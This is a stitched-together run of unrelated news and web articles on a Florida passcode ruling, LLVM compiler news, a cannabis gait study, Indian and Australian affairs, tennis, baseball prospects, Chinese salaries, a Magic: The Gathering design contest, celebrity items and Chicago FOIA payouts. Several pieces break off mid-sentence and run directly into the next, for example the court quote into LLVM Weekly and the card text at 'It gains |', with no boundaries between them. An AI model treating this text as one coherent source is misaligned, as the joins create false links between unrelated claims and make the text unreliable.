The three-judge Appeals Court panel in Florida disagreed with this distinction. They also found the comparison out of step with the current state of technology, such that providing the passcode would not be as similarly self-incriminating as directly giving the authorities evidential documents. Further, the police were beyond probable cause of searching suspect Aaron Stahl's code-locked phone, as Judge Anthony Black wrote for his fellows in the court's decision:
"Moreover, although the passcode would allow the State access to the phone, and therefore to a source of potential evidence, the State has a warrant to search the phone—the source of evidence had already been uncovered... Providing the passcode does not "betray any knowledge [Stahl] may have about the circumstances of the offenses" for which he is charged."
Black clarified what kind of foreknowledge authorities would need to possess to compel someone to divulge their phone's passcode:LLVM Weekly - #93, Oct 12th 2015
Welcome to the ninety-third issue of LLVM Weekly, a weekly newsletter (published every Monday) covering developments in LLVM, Clang, and related projects. LLVM Weekly is brought to you by Alex Bradbury. Subscribe to future issues at http://llvmweekly.org and pass it on to anyone else you think may be interested. Please send any tips or feedback to [email protected], or @llvmweekly or @asbradbury on Twitter.
Apologies that this week's issue comes rather late in the day, my laptop gave up the ghost over the weekend while I was travelling leaving me with no way to write it. Now I'm back, I've managed to dust off an old desktop from my closet to write this issue (and to keep my unbroken streak). LLVM Weekly has been sent out every Monday since it started on the first Monday of January 2014. This weekend I was talking about lowRISC at ORConf 2015. You can find my slides here. There was a wide array of talks on open source hardware, including many on lowRISC and RISC-V. The videos should hopefully be posted in the next week or so.
News and articles from around the web
The LLVM project has hit 250,000 commits. The commit that managed to hit this milestone was this one-liner.
A new paper by Bjarne Stroustrup, Herb Sutter, and Gabriel Dos Reis gives more details on their plans for memory safety in C++.
Videos from CppCon2015 are being posted to Youtube.
On the mailing lists
LLVM commits
The Hexagon architecture gained an early if-conversion pass. r249423.
ThinLTO has started to land, in particular support for function summary index bitcode sections and files. r249270.
Codegen for ARM's memcpy intrinsic has been modified to make better use of LDM/STM. r249322.
The llvm.eh.exceptioncode intrinsic was added. r249492.
It is now possible to turn off MMX support without disabling SSE. r249731.
Clang commits
The policy for adding new style options to clang-format has been documented. r249289.
The libclang bindings have been extended with accessors for C++ function attributes (pure virtual, virtual, or const). r250008.
Other project commitsMarijuana might change the way people walk, according to new study
Australian scientists have found preliminary evidence that cannabis use alters the way people walk. Their findings were published in the journal Drug and Alcohol Dependence.
“Cannabis is the most widely used illicit drug, with 35% of Australians aged 14 years and over reporting use on at least one occasion,” said Verity Pearson-Dennett of the University of South Australia, the study’s corresponding author.
“Most of the research on illicit drug use focuses on long-term changes in cognition and psychological well-being,” he explained. “Illicit drugs exert their effects by changing the levels of neurotransmitters in the ‘pleasure centers’ of the brain, but these neurotransmitters are also very important in movement.”
“It is therefore possible that these drugs may impact the way we move. It is important to fully understand the long-term effects of cannabis use, particularly given the move to decriminalize use in many countries and the growing tolerance to use of cannabis.”
The researchers compared 22 cannabis users to 22 non-drug using Australians. The cannabis users had consumed the drug on more than five occasions and had no history of illicit stimulant or opioid use.
The researchers found subtle differences in how each group walked. Cannabis users moved their knees faster when swinging their leg forward to walk, but tended to move their shoulders less. The researchers found no difference in walking speed or balance.
“The main take away message is that use of cannabis can result in subtle changes in the way that you move,” Pearson-Dennett told PsyPost. “The changes in walking were small enough that a neurologist specializing in movement disorders was not able to detect changes in all of the cannabis users. However, many of the participants in the cannabis group were moderate-to-light cannabis users, therefore heavier cannabis users may have greater impairments.
One of the main limitation of the study is its small sample size.
“This was a small pilot study, therefore a number of questions need to be addressed,” Pearson-Dennett explained. “For example, does a greater amount of cannabis use mean a greater level of impairment? Does the strain or THC/CBD content of the cannabis used change the level of impairment observed? In addition, the physiological mechanisms that underpin changes in movement are not well understood.”
The study, “History of cannabis use is associated with altered gait“, was also co-authored by Gabrielle Todd, Robert A. Wilcox, Adam P. Vogel, Jason M. White, and Dominic Thewlis.So many people knew. But no one stopped it. The perpetrators were promoted, while the sufferers were silenced. It was – and remains – a protection racket.
These are the initial findings of our investigation into sexual harassment and indecent assault in Australia's media and entertainment sector.
When #metoo prompted millions in the US to share their stories, I reflected upon the failure of generations of executives to clean up our industry here. And the reticence of reporters to investigate their own. Then, I tapped out a tweet: "Currently, I am investigating two long-term offenders. Please, contact me privately to tell your stories."
Hundreds of women DMed, PMed, or emailed their experiences: a tsunami of injustice. I asked whether they wanted counselling, legal or police support, before requesting they speak on background, off the record or on camera.aharashtra Navnirman Sena (MNS) president Raj Thackeray is exploring the option of not fielding candidates in the upcoming Lok Sabha elections to hide the disarray in his party. Thackeray is likely to announce his decision at a rally in Pune on 9 February.
A source close to Thackeray told The Sunday Guardian that he was not happy with the party's preparations for the Lok Sabha elections. The party has not been able to raise any new people-friendly issues for a long time. Thackeray met his party's office bearers from across the state at a closed door meeting in Pune on Friday to gauge their mood. According to an MNS leader, Thackeray reprimanded them for indulging in factionalism and ignoring public issues. "Most of you are more interested in nurturing your vested interests than the party's. If you are dreaming of grabbing power in the state and are interested only in the Assembly elections why should we test our preparations in the Lok Sabha elections?" Thackeray asked them.
"He scolded us for ignoring the party organisation. We had no answers to his argument over our ill-preparedness for the LS elections. I will not be surprised if he decides to pull out (of the LS elections). Zakali muth savva lakhachi (Silence is always golden). Saheb (Thackeray) may earn Narendra Modi's sympathy by staying away. He can use that for further gains in the Assembly elections," the leader said. The Maharashtra Assembly elections are due in September.
Some MNS MLAs had suggested to Thackeray last month that he should join hands with the BJP-Shiv Sena alliance because they believed that it would be difficult for them to get re-elected otherwise. Thackeray discarded their suggestion.
The MNS workers feel that they are losing direction. Thackeray has not given them any programme for more than a year. "The Marathi pride issue does not have an appeal this time. Our MLAs have failed to leave an imprint. We have nothing to show to the voters," an MNS official said. The MNS also failed to keep its promise to transform Nashik into a better living place. The party is in power in the local municipal corporation.
Maharashtra BJP president Devendra Phadnavis made it clear that they would not ask the MNS to join its alliance. "The topic of MNS is over for us now," he said. If the MNS is not in the fray, the BJP-Shiv Sena alliance will have an advantage because they have a common voter base. The MNS had contested 12 out of the state's 48 Lok Sabha seats in 2009. All the MNS candidates bagged more than one lakh votes but could not win any seats. But this resulted in a defeat for the Shiv Sena-BJP in 11 constituencies.Andre Agassi says he would call Novak Djokovic 'the clear dominant player this year but no doubt Andy can beat him, even when he's at his best, Andy is that good'.
Eight-time grand slam champion Andre Agassi believes Andy Murray must find a way to keep his cool on the court, insisting Great Britain’s No 1 is a “tortured perfectionist”.
Murray faced Novak Djokovic in the final of the Australian Open last month but despite making a strong start, the Scot crumbled, surrendering the title in four sets and losing the last set 6-0. On Thursday he also crashed out of the ATP Dubai Duty Free Tennis Championships quarter-finals to the Croatian 18-year-old prodigy Borna Coric.
It was as much Murray’s temperament as his technique that let him down in Melbourne, with Djokovic claiming 12 of the last 13 games, and cruising to victory against an increasingly frustrated opponent.
“He’s a tortured perfectionist,” said Agassi. “It would help Andy if he came to terms with what could keep him at his highest level, mentally.
“I don’t think it’s true he doesn’t have a fighting spirit. That guy is his own highest critic. He holds himself to a standard you wouldn’t dare hold him to.
“When I look at him I don’t see someone who isn’t a fighter but I do see someone who has to put his circumstances in context and figure out how to constantly get back to the job in hand. That’s tougher for some players than others.”
Agassi is one of only four players in the Open Era to have won all four grand slam titles and while Murray was growing up, he idolised the American’s swashbuckling strokes from the baseline.
The pair have drawn comparisons in their styles of play but Agassi says he empathises with Murray’s state of mind, too.
“I see myself in Andy, I’m not sure for the same reasons, but I can identify with how he appears a lot of the time,” Agassi said.
“It’s a living hell being a perfectionist but does it make you better? It can be a strength because everything is going to get done with the highest degree of standard.
“But everyone’s strength is their weakness, too, because it can also be demoralising. You don’t accept less and you can be at your worst.
“It’s the artist taking the knife to the canvas – I think it makes Andy shine but I also think it makes him want to hide.”
Just as Murray has had to contend with the likes of Roger Federer, Rafael Nadal and Djokovic, Agassi may have won more titles had it not been for his rivalry with seven-time Wimbledon champion Pete Sampras.
“There are times in my career I felt like Pete made me better. There were other times I felt like he cost me my livelihood,” Agassi said. “There were times I was demoralised by it and there were times I was inspired by it. I think we’ve seen that too with Andy.
“Every grand slam final he’s played has been against Djokovic or Federer – I don’t envy it but I sure respect it and appreciate it.”
Murray has won two major titles, the US Open in 2012 and Wimbledon in 2013. He has lost six finals, three apiece to Federer and Djokovic.
“I do see him winning a slam this year,” Agassi said. “I think Djokovic is a clear level above the field at the moment but a lot can happen. You have to lace your boots up seven times to win a slam.
“I would put Djokovic as the clear dominant player this year but, no doubt, Andy can beat him, even when he’s at his best, Andy is that good.”
Follow us on Twitter @NatSportUAEA job seeker looks through employment information at a job fair held for fresh graduates in Liaocheng city, East China's Shandong province, March 14, 2015. [Photo/Xinhua]
The average salary among 32 major cities in China stands at 6,070 yuan ($922.64) for job vacancies posted online for the winter of 2015, with Beijing topping the list at 9,227 yuan, followed by Shanghai (8,664 yuan) and Shenzhen (7,728 yuan), thepaper.cn reported according to online data released by zhaopin.com, a leading job hunting website.
Hangzhou salary surpasses that of Guangzhou
The average salary of second-tier city Hangzhou (7,097 yuan) ranks fourth, surpassing that of Guangzhou (6,913 yuan), which is usually classified as a first-tier city. The result showed that Guangzhou did not catch up with the development pace of the other three first-tier cities, which took the top three spots.
In terms of regional trends, well-developed eastern coastal cities like Suzhou, Ningbo and Nanjing and rising southwestern cities like Chengdu and Chongqing entered the top ten in the salary rank list.
In comparison, the salaries of northeastern cities like Harbin, Changchun and Shenyang rank at the bottom, which revealed these old industrial bases experienced hard times throughout the economic transformation.
Private employees earn most, with foreign companies ranking third
Consulting or professional service industries, including accounting, law and human resources, topped the ranks with an average salary of 10,634 yuan, with the investment industry ranking second (9,204 yuan) and intermediary agent industry third (8,658 yuan).
With the fast development of the private economy, private enterprises give the most competitive salary of 7,322 yuan. The salary of wholly foreign-owned enterprises ranks third at 6,400 yuan after joint venture companies at 7,134 yuan. The fall of the wholly foreign-owned enterprises reflects their uneven development in China in recent years.Corey Seager, either the Dodgers top hitting prospect or second-best hitting prospect depending on your source of choice, is on the move. The shortstop was promoted from Class-A Rancho Cucamonga to Double-A Chattanooga. The move will be effective after the All-Star break.
The Dodgers drafted Seager in the first round in 2012, the 18th overall pick. On Tuesday he was rated the 16th best prospect in Baseball America's midseason rankings, and No. 19 by Baseball Prospectus.
Seager, 20, was hitting.352/.411/.633 with 34 doubles, 18 home runs and 70 RBI in 80 games with the Quakes this year, including winning California League Player of the Month for May, hitting.400/.455/.700 with 15 doubles and six home runs during the month.
Seager was among the Cal League leaders in several categories, including first in doubles, total bases (207) extra-base hits (54), slugging percentage, and OPS; second in hits (115) batting average, fourth in RBI, and seventh in on-base percentage.
The left-handed Seager even held his own against left-handed pitching as well, hitting.400/.444/.813 with six home runs and 11 doubles in 81 plate appearances against southpaws this year. Just about the only thing to not go right for Seager so far this season was missing nine games in late April and early May with a slight hamstring strain.
Seager was one of the youngest players in advanced Class-A, and at 20 years, 83 days will be the fifth-youngest player in Double-A when he joins the Lookouts on Thursday.
Dodgers director of player development De Jon Watson spoke with Quakes announcer Brandon Liebhaber in May about various prospects, including Seager.
"Last year was an adjustment period for him. I thought he had a phenomenal year in the Midwest League. He was hitting well over.300 with some power numbers," Watson said. "I think coming here he may have just let his guard down a little bit, and wasn't able to recover before the year ended."
Seager hit.309/.389/.529 with 12 home runs and 18 doubles in 74 games with Class-A Great Lakes in the Midwest League in 2013 before getting promoted to Rancho Cucamonga on Aug. 2. Seager struggled down the stretch for the Quakes, hitting just.160/.246/.320 with four home runs in 27 games.
"It was his first full season, there could have been a little fatigue setting in. I'm not making excuses for the player, they still have to come out and execute and perform. For me, it was more of a growing year for him as far as understanding what he needs to do to be prepared for a full season," Watson explained. "His approach is getting better by the day, and we look forward to him continuing to make progress."
Seager played a total of 74 games at Great Lakes, and 107 games with Rancho Cucamonga.RICKY GERVAIS: OUT OF ENGLAND 2 - THE STAND-UP SPECIAL, FEATURING THE SUPERSTAR IN HIS SECOND HBO STAND-UP SPECIAL, DEBUTS THIS DECEMBER LOS ANGELES, Aug. 7, 2010 - HBO favorite Ricky Gervais will return to the network this December in his second American TV stand-up special, it was announced today by Nancy Geller, senior vice president, HBO Original Programming. Taping before a live audience at the Chicago Theatre in Chicago on Sept. 30 and Oct. 1, RICKY GERVAIS: OUT OF ENGLAND 2 - THE STAND-UP SPECIAL will feature material from his latest sold-out world tour. "No sacred cow is safe when Ricky Gervais takes the stage," noted Geller. "This new special will feature Ricky at his outrageous best." "In my first HBO special I covered AIDS, disability, bestiality, rape, racism and famine. This second special is a little darker," says Gervais. "The Ricky Gervais Show," an animated comedy series based on the record-breaking podcast, voiced by Gervais, his longtime collaborator Stephen Merchant and colleague and friend Karl Pilkington, debuted on HBO earlier this year, and returns for a second season in 2011. Gervais' other HBO credits include the series "Extras," which brought him an Emmy(R) for Outstanding Lead Actor in a Comedy Series, and the Emmy(R)-nominated 2008 presentation "Ricky Gervais: Out of England - The Stand-Up Special." Gervais and Merchant were also creators of the Golden Globe-winning BBC comedy series "The Office," which received BAFTA and Peabody Awards, among many other honors, and was subsequently seen in more than 100 countries, as well as inspiring the hit American series of the same name. "The Office" continues to be the most successful British comedy of all time. Gervais' film credits include the upcoming "Cemetery Junction," plus "The Invention of Lying," cptfc "Ghost Town," the "Night at the Museum" movies and "For Your Consideration." Gervais is the only British actor to write and star in "The Simpsons." Last January, Gervais became the first master of ceremonies to host the Golden Globes since 1995 and will return as host in 2011. He was subsequently named to Time magazine's list of The World's Most Influential People, and more recently received the Sir Peter Ustinov Award for Comedy at the 2010 Banff World Television Festival. RICKY GERVAIS: OUT OF ENGLAND 2 - THE STAND-UP SPECIAL will be written and executive produced by Ricky Gervais; producers, Pat Tourk Lee and John Moffitt; directed by John Moffitt.W elcome to the final day of the Great Designer Search 2! After three rounds of initial selection, 1,120 original submissionists were winnowed down to eight contestants. After five rounds of grueling design competition—and something like 100,000 words of meaty design discussion here on DailyMTG.com—those eight were reduced to just three finalists: Ethan Fleischer, Shawn Main, and Scott Van Essen.
Now, the finalists are here at Wizards of the Coast headquarters in Renton for an intensive rotation of interviews, lunch with the contestants from the original GDS currently working at Wizards, and a live design challenge. On the line is the Holy Grail for armchair Magic designers everywhere: a six-month design internship in Magic R&D.
To read more about the GDS2 so far, check out the new GDS2 landing page.
Monday, 10:30 a.m. – The Tour by Kelly Digges
The final day of the Great Designer Search 2 has begun! But before the competition gets underway, it's time to give the three finalists a taste of the working life here at Wizards—the life one of them will be leading when the dust settles.
Scott Van Essen, left, and Ethan Fleischer, right, tower over Mark Rosewater and Shawn Main.
Mark lays out the schedule for the finalists.
A justifiably proud Mark Rosewater shows off some of the industry awards Magic and Wizards of the Coast have won over the years.
Checking out the hallway murals, which feature art from Magic, Dungeons & Dragons, Axis & Allies, RoboRally, and other Wizards games.
Elaine Chase, Magic brand director, chats with the Great Designers.
Why hello, Magic Pro Tour Hall of Famer Mike Turian! Fancy meeting you here!
The present GDS meets the past: shaking hands with Graeme Hopkins, who took third place in the original Great Designer Search and now works in the Technology department.
The Goblin King statue on the third floor. As Shawn points out, with the glasses he bears an uncanny resemblance to Hunter S. Thompson.
Where the Magic happens: The finalists check out some uncut Duel Masters sheets in the proofing room—after Mark checks to make sure it's clear of Magic spoilers. After that, it's on to the famous Art Wall near the creative team, where…
…naturally, the art from upcoming sets has been taken down, probably in preparation for this very tour. Mark does his best to pantomime how awesome this usually looks.
Checking out the uncut Beta sheets.
Eyes on the prize: When all is said and done, one of the three finalists will sit in this room, at this desk, in Magic R&D. "What, we don't get a chair with wheels?" Scott Van Essen laughs. "You have to earn those," explains Mark, grinning. He's probably joking. Probably.
Magic rules manager Matt Tabak in his natural habitat, with senior editor Del Laugel in the background.
Director of Magic R&D Aaron Forsythe, future grandboss of one of the three finalists.
The Pit, in all its messy glory. After a brief Pit tour, it's time to head over to the creative team's concept art wall, where…
…naturally, the concept art from upcoming sets has been taken down, again probably in preparation for this very tour. Scott Van Essen works up some enthusiasm anyway.
Checking out some of R&D's fan mail with Aaron Forsythe.
Now, at last, it's off to the interviews, which the three finalists will rotate through over the next three hours.
The management interview panel: From left to right, senior editor Del Laugel, Magic producer and original GDS contestant Mark Globus, Magic R&D director Aaron Forsythe, and Magic digital R&D's Ken Troop.
Shawn Main with the development interview panel: Hall of Famer Mike Turian (currently working in Organized Play), Hall of Famer and development manager Dave Humpherys, and developer Erik Lauer.
Ethan Fleischer talks with the design interview panel: Creative director Brady Dommermuth, head designer Mark Rosewater, and designer and GDS1 finalist Ken Nagle.
Monday, 2:15 p.m. – You Guess the Card by Kelly Digges
The GDS2 interview gauntlet is over! Among many other tough questions, each finalist faced a rather unconventional test from GDS1 finalist Ken Nagle: Guess the Card.
Ken described it as a "rite of passage" for GDS finalists, and explained that director of Magic R&D Aaron Forsythe had given the same test to the finalists in the original Great Designer Search. The goal is to test depth and breadth of Magic card knowledge—far from the only important criterion at work, but not entirely trivial either.
It works like this: There's a laptop set up in the room. With neither Ken nor the finalist being interviewed able to see the screen, somebody hits the "random card" button on Gatherer—the very same random card button Aaron uses to generate Aaron's Random Card Comment of the Day—and reads the name of this randomly generated card.
The finalist is then asked to give the card's mana cost, rules text, card type, and power/toughness (if applicable). If the finalist doesn't know or gets it wrong, Ken gets to take a crack at it.
Test your Magic knowledge against Ken and the GDS2 finalists—can you remember each card's vital statistics before mousing over to see it?
Ethan Fleischer
Ethan: Norwood Ranger, Mahamoti Djinn
Ken: Centaur Veteran, Shallow Grave
Ethan 2, Ken 2
Shawn Main
Shawn: Sacred Mesa, Barbed Sliver, Clockwork Beast, Dimir Aqueduct
Ken: Never got a chance to answer!
Shawn 4, Ken 0
Scott Van Essen
Scott: Bloodghast, ~Brushland (described Savannah)
Ken: Jeweled Amulet, Earth Elemental, Voidmage Apprentice
Scott 1.5, Ken 3
While discussing this exercise at lunch, Ken mentioned that neither he nor Scott had been able to get Pavel Maliki. Aaron Forsythe held up a hand and thought for a second.
"That's a 4BR 5/3, isn't it? With... BR: +1/+0."
That's why he's the boss!
Monday, 3 p.m. – Lunch with the Great Designers by Kelly Digges
After the battery of interviews, the three GDS2 finalists settled in for lunch with the four original GDS competitors who now work at Wizards and a few other members of Magic R&D. They chatted with one another and with the original Great Designers about the interviews, their worlds, and the differences between the two Great Designer searches.
When the topic of the first GDS's judging came up, Scott—who was also a competitor in the original GDS—said that he was sad not to see the mysterious "Gleemax" (the snarky, anonymous voice of R&D) as a judge this time around.
Mark Rosewater explained that he'd talked to a lot of people about it and made the call not to bring Gleemax back. At the time, he said, "a lot of people felt like it was at the expense of the designers." When he interviewed the Wizards employees who were in the first GDS, "in general the people who were involved in it liked Gleemax," because it cut through the niceties and told the participants, "Do this! Just... do this!" But outside the building, Mark said, he got a lot more feedback that "Gleemax just seemed mean."
All three finalists had good things to say about the judging they'd been given this time around: specific, critical, useful feedback that let them improve their designs.
One of the major differences between the first and second GDS was that this time around, each contestant chose one set concept to design in. All of the challenges referenced that original set idea. When asked whether they ever felt trapped by the choices they'd already made, Ethan and Shawn answered strongly in the affirmative.
"Yeah," said Ethan, laughing, "when I got the critique for my design test and Mark told me I should completely start over making my world."
"I had the same sort of thing," Shawn piped in. "It was such a sense of panic that first day, like—'Oh, you liked that thing in the background so much more. What can I take with me?' "
Scott, however, said that he never felt too constrained, having worked on the basic concept of his set design on his own time during the original GDS.
During lunch, a steady stream of other Magic R&D members trickled into the room to say hi, so the finalists got a chance to meet developer Tom LaPille, designer Brian Tinsman, and Mark Gottlieb, among others.
Lunch was winding down, but there was one more thing to do before splitting up again. With everybody here, a natural photo op presented itself: Two generations of GDS competitors in one place.
After lunch, it's on to the final Design Challenge!
Monday, 5:45 p.m. – The Final Design Challenge by Kelly Digges
The tour is long done. The interviews are over. The sandwiches are eaten. The small talk has petered out. Now it's time for the last—and maybe toughest—thing standing between these three finalists and the end of the Great Designer Search 2: the final Design Challenge.
For this Design Challenge, the finalists left behind the world concepts they worked with throughout the rest of the competition in favor of a Challenge where their work could be more directly compared. Instead, they went back to the future—Future Sight, that is.
The scenario is this: These three designers are the Future Sight design team. It's very late in development, and they've been informed that the card Steamflogger Boss is being cut from the set. This is similar to the final Design Challenge of the previous GDS, which asked the contestants to take on the role of the Urza's Destiny design team and find a replacement for the card Opposition, but in some ways this design has even more constraints.
When a card is cut late in development, the replacement card has to fit exactly the same slot: same art, same color, same rarity, and even the same collector number—meaning that it has to fall in the same place when the set is sorted by color and then alphabetically by name. The additional constraint here is that Steamflogger Boss was a "timeshifted" card. The replacement card needs to be timeshifted as well, which puts two big restrictions on it. First, it has to fit in the right spot alphabetically among the red timeshifted cards (after Skizzik Surger but before Shah of Naar Isle, in case you were wondering). Second, it has to fit the Future Sight definition of a timeshifted card: a card that shows off a mechanic or idea that hasn't been printed in Magic yet, but could be.
Combine all that with the fact that Mark placed the real future of Magic since Future Sight off limits, and you've got a very tight set of design restrictions. As Mark is fond of reminding his readers—say it with me now!—restrictions breed creativity. The three Great Designer Search 2 finalists were given one hour to prove that maxim. Each one was given his own room with a Future Sight player's guide, a dictionary, a printout of Steamflogger Boss's art, and plenty of scratch paper.
When that hour was up, it was time for the hard part. What, you thought designing three cards to extremely tight restrictions in an hour was the hard part? Oh no. It gets harder.
For the second and final hour of the Challenge, Mark asked the three finalists to sit down in one room, along with himself and Magic developers Erik Lauer, Dave Humpherys, and Mark Globus. Each wrote his three designs on the whiteboard, and this faux design/development team had one hour to go from nine designs to one by picking one, mixing and matching, or even designing a new card—the important thing was that they have a single card design to give to development when all was said and done.
I chatted with GDS1 winner Alexis Janson about the collaborative/competitive nature of this final Challenge, and she said that the final Design Challenge of the first GDS had been much the same—with one crucial difference: the GDS1 finalists had been working entirely on their own up to that point, in direct competition. They made the transition to working as a team awkwardly and tentatively, unsure how much they were being judged on their cooperation. Should they vote for their own cards? Should they not vote for their own cards? They didn't know, and Alexis said that the effect was palpable.
By contrast, the second GDS has involved collaboration with members of the GDS2 Wiki community from the very beginning, and even, in the third Design Challenge, cooperation between pairs of Top 8 competitors working on one another's designs. Having already been selected for an ability to collaborate and to choose the best cards for the set regardless of who designed them, this crop of GDS finalists should be better prepared to work together—at least in theory!
Here's what they had to work with, as written on the whiteboard.
Scott's Designs
Slave Driver
3RR
Creature – Goblin Overlord
3/3
2R, T: Target player reveals their hand. You may choose a card in it and put it into play under your control. It gains |
were charging the audience.
Head executive Bill Shine said, "Fox News never agreed to allow the Cincinnati Tea Party organizers to use Sean Hannity's television program to profit from broadcasting his show from the event."
“We asked him to come back to New York once I realized the seriousness of what’s was going on there,” said Shine. “The Tea Party people were literally selling better seats of the program” based on the Hannity show. “That crossed the line, yeah. We told him to come back home.”
Bet you dollars to donuts that it was Rupert Murdoch's order that got carried out super pronto.Franco has reportedly written a book based on Polaroid photos and imaginary conversations with the singer
Lana Del Rey has downplayed claims that actor James Franco will publish an entire book about her.
Franco is believed to have written about the singer alongside award-winning writer David Shields. It was previously reported that Flip-Side: Real And Imaginary Conversations With Lana Del Rey would be released in March 2016.
The singer, however, has refuted these reports. She told Zane Lowe on his Beats 1 radio show on Monday (August 10): “I guess I was surprised there was a book. I haven’t seen it. And I don’t think it’s gonna come out. It’s a cool idea – I think we definitely wanna be in on it and have time.”
Del Rey continued to state that she does indeed admire Franco’s work and “became friends” with him recently. “He’s someone I artistically look up to. That scenario is rare,” she said.
Press
Franco had previously penned a short essay about Del Rey for V Magazine, writing: “When I watch her stuff, when I listen to her stuff, I am reminded of everything I love about Los Angeles. I am sucked into a long gallery of Los Angeles cult figurines, and cult people, up all night like vampires and bikers.”
“The only difference between Lana and me is her haunting voice. That carries everything. The voice is the central axle around which the spokes of everything else extend.”
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Lana Del Rey shared her new single on Monday, titled ‘High By The Beach’. She told Zane Lowe of the track: “It’s a little like a hip-hop record. It started with the chorus. I was driving by the beach a lot. This was probably one of the last ones on the record… Even with the harmonies, it almost sounded monotone. But with the beat, it has this trap influence.”
Del Rey’s forthcoming new album ‘Honeymoon’ follows on from 2014’s ‘Ultraviolence’ and is expected to be released in September.
Meanwhile, Lana Del Rey will feature on The Weeknd’s new album, ‘Beauty Behind The Madness’.
SEE MORE: Lana Del Rey: Her 10 Best Songs
https://link.brightcove.com/services/player/?bctid=1398891363001On Saturday, the Padres signed Gore, the No. 3 overall pick in the 2017 Draft. He was then introduced at Petco Park, joined by general manager A.J. Preller, director of scouting Mark Conner and agent Scott Boras. The bonus for the high-school left-hander from Whiteville, N.C., is a slightly over-slot $6.7 million, a source told MLB.com's Jim Callis.
SAN DIEGO -- MacKenzie Gore believes he accomplished his goal of becoming the best player in the country, so he's progressed to his next one: making it to San Diego and helping the Padres to a World Series title.
SAN DIEGO -- MacKenzie Gore believes he accomplished his goal of becoming the best player in the country, so he's progressed to his next one: making it to San Diego and helping the Padres to a World Series title.
On Saturday, the Padres signed Gore, the No. 3 overall pick in the 2017 Draft. He was then introduced at Petco Park, joined by general manager A.J. Preller, director of scouting Mark Conner and agent Scott Boras. The bonus for the high-school left-hander from Whiteville, N.C., is a slightly over-slot $6.7 million, a source told MLB.com's Jim Callis.
View Full Game Coverage
Gore, an East Carolina University commit, pitched at Petco Park in the 2016 Perfect Game All-American Classic in August, allowing a pair of runs in his one inning. He first came to San Diego in August wanting to be the top amateur but left knowing he needed to improve to ascend to that title.
By the time his senior season at Whiteville High School arrived, he'd certainly done that. With a mid-to-high-90s fastball and plus-curveball, not to mention a massive leg kick, Gore struck out 158 and walked only five in 74 1/3 innings, posting a 0.19 ERA to earn 2016-17 Gatorade National Player of the Year honors.
Tweet from @Padres: It's official! @Mgore181 is now a #Padre! �� pic.twitter.com/Kgt4rtgXHZ
"My goal was always to be the best player in the country, so in the offseason, I worked hard and got a lot stronger," Gore said. "Now I feel like, not in a cocky way, but I am the best player in the country."
Padres area scout Nick Brannon first saw Gore at an workout in June 2016. Early this season, Preller attended one of his games. A week later, Preller, director of pro scouting Logan White, scouting special assistant David Post and other members of the Padres' front office met with Gore.
Video: DET@SD: Gore throws out first pitch, talks Draft
His arm had already made an impression; his personality did the same.
"It's very rare that you see players that excite you," Preller said. "You left that game that day, and we couldn't stop talking about him, honestly.
"A week later, we had an opportunity to sit down with his family, sit down with him and kind of hit him between the eyes and find out what he was truly about. … We left that meeting, we were probably high-fiving in the parking lot."
Gore's parents, sisters and high school pitching coach joined him for Saturday's news conference. Preller and Conner praised his parents for their work in raising him, a point Boras echoed.
"Who he is as a person, how he takes information, and how he responds to competitive stimulus, how he responds to not being the best at the moment but knows how to get to be the best later on -- that's where he is now," Boras said. "He's jumped up to being one of the top arms.
"... The idea, I think, with this organization is, kind of like when you fly over an island and you see a big mountain and you think it's a mountain. But I think San Diego is going to be a volcano, because there's a lot underneath that's coming. MacKenzie is going to a principal part of it."
Preller said Gore will head to Arizona on Sunday to begin a throwing program before joining one of San Diego's two Arizona Rookie League teams. Preller said Gore pitched 20-30 innings last summer and will throw about the same in Arizona.
After the news conference, during which Gore donned a Padres jersey and cap, he and his family headed out to the field. Gore made it back to Petco Park. He had no plans on it being his last visit.
"I'm really excited to be a part of this organization," Gore said. "There's a lot of young players. I'm ready to get up here and win a World Series."
Nathan Ruiz is a reporter for MLB.com based in San Diego.The city of Chicago paid out about $670,000 last year to plaintiffs in lawsuits alleging that officials violated open records law — nearly five times what the city paid in the previous eight years combined.
Experts and attorneys said the mounting payouts in Freedom of Information Act cases raise concerns about Mayor Rahm Emanuel's pledge to run "the most open, accountable and transparent government that the city of Chicago has ever seen." They said the increase may be attributable to a broader awareness of the public's right to records spurred by high-profile cases such as the Laquan McDonald shooting.
The Emanuel administration, which still faces 54 lawsuits alleging open records violations, says it has added resources to provide public information more efficiently.
But critics, such as Torreya Hamilton, a former prosecutor who runs her own civil rights firm and has sued the city alleging FOIA violations, question the city's commitment.
"The taxpayers of the city of Chicago are paying for the city to break the law," Hamilton said.
Jeffrey M. Shaman, a DePaul University professor who teaches constitutional law and the First Amendment, said the city's spike in lawsuits and payments "makes one wonder if the city is willing to comply in good faith with the requirements of FOIA."
The $670,122 total is spread out over 27 cases under FOIA, the state law providing access to government records for the public, that were brought by taxpayers, advocacy groups and media organizations, including the Chicago Tribune. FOIA allows some plaintiffs who sue for records to recover money for lawyers' fees and costs.
In a Law Department statement, the city said it "works diligently to comply with the Freedom of Information Act and responds to thousands of public information requests each year, with only a small percentage of requests disputed."
"However, there is always room for improvement, and during the past year, the city has dedicated additional resources and provided employees with additional training to ensure compliance and provide transparency to the public," the statement said. "It is not acceptable for any city department to ignore or unnecessarily delay a response to a request, nor is it acceptable for a department to improperly apply exemptions."
The city's statement reiterated Emanuel's transparency pledges and touted the administration's creation of a data portal and a written policy "that guarantees the public's timely access to video and audio recordings" from police-involved incidents.
Asked how the city justifies the amount paid out over open records lawsuits, the Law Department said the most common reason it's been sued are "claims of incomplete record searches and incorrectly applied exemptions."
"In these cases, the city works to resolve these cases by providing evidence that searches were reasonable and the exemptions were correctly applied, or by providing additional documents," the statement said. "However, the city has an obligation to defend these suits and ensure that the privacy protections afforded by the FOIA statute are protected."
Records disputes
Nineteen of the 27 cases with payouts in 2016 involve the Chicago Police Department. Others allege public information violations by the mayor's office, Animal Care and Control, the Office of Emergency Management and Communications, the Department of Finance, the Independent Police Review Authority and the Department of Innovation and Technology.
Some cases allege the city failed to answer FOIA requests at all, but the most costly lawsuits involved larger controversies.
The most expensive open records case in 2016 was journalist Brandon Smith's lawsuit against the city over video showing Laquan McDonald being shot 16 times by police Officer Jason Van Dyke.
Chicago officials fought to withhold the video, arguing it would interfere with investigations into the shooting. A judge ordered its release, and the city paid $97,500 in fees and costs, records show.
Emanuel recently acknowledged using personal email accounts to conduct official business and the city agreed to pay $96,275 to settle a Better Government Association lawsuit over an FOIA request for Emanuel's email. The Tribune has a separate, ongoing FOIA lawsuit involving Emanuel's emails about public business conducted on personal devices.
